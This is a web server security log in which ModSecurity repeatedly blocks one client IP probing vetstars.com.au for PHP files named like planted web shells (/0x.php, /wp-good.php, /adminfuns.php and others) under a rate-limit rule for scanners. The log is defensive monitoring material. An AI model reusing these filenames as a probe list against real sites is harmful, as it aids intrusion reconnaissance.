[Wed Jan 21 04:34:35.107404 2026] [:error] [pid 59863:tid 59887] [client 4.194.217.214:10184] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aW_m27HQ1zVZ4yLuI-zCcAAAARQ"]
[Wed Jan 21 04:34:35.292452 2026] [:error] [pid 59863:tid 59873] [client 4.194.217.214:10054] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "aW_m27HQ1zVZ4yLuI-zCcwAAAQY"]
[Wed Jan 21 04:34:35.494466 2026] [:error] [pid 59863:tid 59888] [client 4.194.217.214:10074] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aW_m27HQ1zVZ4yLuI-zCdgAAARU"]
[Wed Jan 21 04:34:35.683600 2026] [:error] [pid 59863:tid 59889] [client 4.194.217.214:10059] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aW_m27HQ1zVZ4yLuI-zCeAAAARY"]
[Wed Jan 21 04:34:35.929846 2026] [:error] [pid 59863:tid 59874] [client 4.194.217.214:10048] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aW_m27HQ1zVZ4yLuI-zCfAAAAQc"]
[Wed Jan 21 04:34:36.171305 2026] [:error] [pid 21563:tid 21574] [client 4.194.217.214:10170] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asus.php"] [unique_id "aW_m3BZq__dTorabEoyHOAAAAMk"]
[Wed Jan 21 04:34:36.355874 2026] [:error] [pid 59863:tid 59890] [client 4.194.217.214:10071] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aW_m3LHQ1zVZ4yLuI-zCgAAAARc"]
[Wed Jan 21 04:34:36.580492 2026] [:error] [pid 21563:tid 21588] [client 4.194.217.214:10096] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aW_m3BZq__dTorabEoyHOQAAANc"]
[Wed Jan 21 04:34:36.758152 2026] [:error] [pid 21563:tid 21565] [client 4.194.217.214:10086] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aW_m3BZq__dTorabEoyHOgAAAMA"]
[Wed Jan 21 04:34:36.932948 2026] [:error] [pid 21454:tid 21486] [client 4.194.217.214:10189] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aW_m3Dwp5UZmMFzY2bpNugAAABY"]
[Wed Jan 21 04:34:37.153354 2026] [:error] [pid 21455:tid 21493] [client 4.194.217.214:10172] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aW_m3YpOKALCSo1URZE3JQAAAEI"]
[Wed Jan 21 04:34:37.352904 2026] [:error] [pid 21454:tid 21467] [client 4.194.217.214:10160] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aW_m3Twp5UZmMFzY2bpNuwAAAAM"]
[Wed Jan 21 04:34:37.532873 2026] [:error] [pid 21454:tid 21466] [client 4.194.217.214:10060] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aW_m3Twp5UZmMFzY2bpNvAAAAAI"]
[Wed Jan 21 04:34:37.737959 2026] [:error] [pid 21454:tid 21469] [client 4.194.217.214:9999] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aW_m3Twp5UZmMFzY2bpNvgAAAAU"]
[Wed Jan 21 04:34:37.917115 2026] [:error] [pid 21454:tid 21480] [client 4.194.217.214:10127] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aW_m3Twp5UZmMFzY2bpNvwAAABA"]
[Wed Jan 21 04:34:38.097911 2026] [:error] [pid 21456:tid 21524] [client 4.194.217.214:10100] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aW_m3gKyVQ9Ob2YxRAp2lgAAAIY"]
[Wed Jan 21 04:34:38.280773 2026] [:error] [pid 21456:tid 21537] [client 4.194.217.214:10102] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aW_m3gKyVQ9Ob2YxRAp2lwAAAJM"]
[Wed Jan 21 04:34:38.473770 2026] [:error] [pid 21456:tid 21521] [client 4.194.217.214:10143] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/domains.php"] [unique_id "aW_m3gKyVQ9Ob2YxRAp2mAAAAIM"]
[Wed Jan 21 04:34:38.663100 2026] [:error] [pid 21456:tid 21540] [client 4.194.217.214:10091] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-goods.php"] [unique_id "aW_m3gKyVQ9Ob2YxRAp2mgAAAJY"]
[Wed Jan 21 04:34:38.840458 2026] [:error] [pid 21455:tid 21506] [client 4.194.217.214:10000] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-goods.php"] [unique_id "aW_m3opOKALCSo1URZE3JwAAAE8"]
[Wed Jan 21 04:34:39.017647 2026] [:error] [pid 59863:tid 59891] [client 4.194.217.214:10052] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-goods.php"] [unique_id "aW_m37HQ1zVZ4yLuI-zCgwAAARg"]
[Wed Jan 21 04:34:39.198963 2026] [:error] [pid 21455:tid 21511] [client 4.194.217.214:10116] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-goods.php"] [unique_id "aW_m34pOKALCSo1URZE3KQAAAFQ"]
[Wed Jan 21 04:34:39.380017 2026] [:error] [pid 21455:tid 21500] [client 4.194.217.214:10036] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "aW_m34pOKALCSo1URZE3KgAAAEk"]
[Wed Jan 21 04:34:39.556244 2026] [:error] [pid 21456:tid 21522] [client 4.194.217.214:10092] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "aW_m3wKyVQ9Ob2YxRAp2nAAAAIQ"]
[Wed Jan 21 04:34:39.738234 2026] [:error] [pid 21455:tid 21501] [client 4.194.217.214:10211] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "aW_m34pOKALCSo1URZE3KwAAAEo"]
[Wed Jan 21 04:34:39.920739 2026] [:error] [pid 21455:tid 21503] [client 4.194.217.214:10082] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/144.php"] [unique_id "aW_m34pOKALCSo1URZE3LAAAAEw"]
[Wed Jan 21 04:34:40.104066 2026] [:error] [pid 21455:tid 21505] [client 4.194.217.214:10002] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aW_m4IpOKALCSo1URZE3LgAAAE4"]
[Wed Jan 21 04:34:40.280689 2026] [:error] [pid 21563:tid 21583] [client 4.194.217.214:10095] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aW_m4BZq__dTorabEoyHQQAAANI"]
[Wed Jan 21 04:34:40.498444 2026] [:error] [pid 21563:tid 21587] [client 4.194.217.214:10081] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aW_m4BZq__dTorabEoyHQgAAANY"]
[Wed Jan 21 04:34:40.682695 2026] [:error] [pid 21455:tid 21496] [client 4.194.217.214:10204] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akcc.php"] [unique_id "aW_m4IpOKALCSo1URZE3MQAAAEU"]
[Wed Jan 21 04:34:40.875308 2026] [:error] [pid 21454:tid 21471] [client 4.194.217.214:10112] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aW_m4Dwp5UZmMFzY2bpNxAAAAAc"]
[Wed Jan 21 04:34:41.056969 2026] [:error] [pid 21455:tid 21499] [client 4.194.217.214:10135] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aW_m4YpOKALCSo1URZE3MwAAAEg"]
[Wed Jan 21 04:34:41.271211 2026] [:error] [pid 59863:tid 59869] [client 4.194.217.214:10070] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aW_m4bHQ1zVZ4yLuI-zChwAAAQI"]
[Wed Jan 21 04:34:41.461412 2026] [:error] [pid 59863:tid 59876] [client 4.194.217.214:10077] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanda.php"] [unique_id "aW_m4bHQ1zVZ4yLuI-zCiAAAAQk"]
[Wed Jan 21 04:34:41.655142 2026] [:error] [pid 59863:tid 59874] [client 4.194.217.214:10106] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aW_m4bHQ1zVZ4yLuI-zCiQAAAQc"]
[Wed Jan 21 04:34:41.829877 2026] [:error] [pid 59863:tid 59875] [client 4.194.217.214:10220] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aW_m4bHQ1zVZ4yLuI-zCigAAAQg"]
[Wed Jan 21 04:34:42.006273 2026] [:error] [pid 21455:tid 21515] [client 4.194.217.214:10186] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aW_m4opOKALCSo1URZE3NwAAAFg"]
[Wed Jan 21 04:34:42.212705 2026] [:error] [pid 21455:tid 21513] [client 4.194.217.214:10182] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aW_m4opOKALCSo1URZE3OAAAAFY"]
[Wed Jan 21 04:34:42.390005 2026] [:error] [pid 21454:tid 21484] [client 4.194.217.214:10070] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aW_m4jwp5UZmMFzY2bpNxQAAABQ"]
[Wed Jan 21 04:34:42.577719 2026] [:error] [pid 21563:tid 21588] [client 4.194.217.214:10156] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aW_m4hZq__dTorabEoyHSQAAANc"]
[Wed Jan 21 04:34:42.751698 2026] [:error] [pid 21455:tid 21504] [client 4.194.217.214:10142] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aW_m4opOKALCSo1URZE3OgAAAE0"]
[Wed Jan 21 04:34:42.925397 2026] [:error] [pid 21454:tid 21465] [client 4.194.217.214:10148] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-104.php"] [unique_id "aW_m4jwp5UZmMFzY2bpNxwAAAAE"]
[Wed Jan 21 04:34:43.101072 2026] [:error] [pid 21563:tid 21576] [client 4.194.217.214:10174] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-729.php"] [unique_id "aW_m4xZq__dTorabEoyHSgAAAMs"]
[Wed Jan 21 04:34:43.283849 2026] [:error] [pid 21455:tid 21495] [client 4.194.217.214:10194] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-729.php"] [unique_id "aW_m44pOKALCSo1URZE3PAAAAEQ"]
[Wed Jan 21 04:34:43.474664 2026] [:error] [pid 59863:tid 59882] [client 4.194.217.214:10058] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-729.php"] [unique_id "aW_m47HQ1zVZ4yLuI-zCjAAAAQ8"]
[Wed Jan 21 04:34:43.650306 2026] [:error] [pid 59863:tid 59868] [client 4.194.217.214:10066] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zc-729.php"] [unique_id "aW_m47HQ1zVZ4yLuI-zCjQAAAQE"]
[Wed Jan 21 04:34:43.824161 2026] [:error] [pid 59863:tid 59887] [client 4.194.217.214:10078] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aW_m47HQ1zVZ4yLuI-zCjwAAARQ"]
[Wed Jan 21 04:34:43.997673 2026] [:error] [pid 59863:tid 59873] [client 4.194.217.214:10089] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aW_m47HQ1zVZ4yLuI-zCkAAAAQY"]
[Wed Jan 21 04:34:44.177597 2026] [:error] [pid 21563:tid 21577] [client 4.194.217.214:10028] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aW_m5BZq__dTorabEoyHTQAAAMw"]
[Wed Jan 21 04:34:44.401619 2026] [:error] [pid 21563:tid 21571] [client 4.194.217.214:10039] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bo.php"] [unique_id "aW_m5BZq__dTorabEoyHTgAAAMY"]
[Wed Jan 21 04:34:44.586036 2026] [:error] [pid 21456:tid 21538] [client 4.194.217.214:10031] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aW_m5AKyVQ9Ob2YxRAp2nwAAAJQ"]
[Wed Jan 21 04:34:44.770705 2026] [:error] [pid 21563:tid 21583] [client 4.194.217.214:10084] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aW_m5BZq__dTorabEoyHUAAAANI"]
[Wed Jan 21 04:34:44.944734 2026] [:error] [pid 21456:tid 21533] [client 4.194.217.214:10056] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aW_m5AKyVQ9Ob2YxRAp2oAAAAI8"]
[Wed Jan 21 04:34:45.118613 2026] [:error] [pid 21455:tid 21510] [client 4.194.217.214:9950] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aW_m5YpOKALCSo1URZE3PwAAAFM"]
[Wed Jan 21 04:34:45.294173 2026] [:error] [pid 21456:tid 21531] [client 4.194.217.214:10109] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aW_m5QKyVQ9Ob2YxRAp2ogAAAI0"]
[Wed Jan 21 04:34:45.473508 2026] [:error] [pid 21563:tid 21584] [client 4.194.217.214:9992] [client 4.194.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminfuns.php"] [unique_id "aW_m5RZq__dTorabEoyHUgAAANM"]
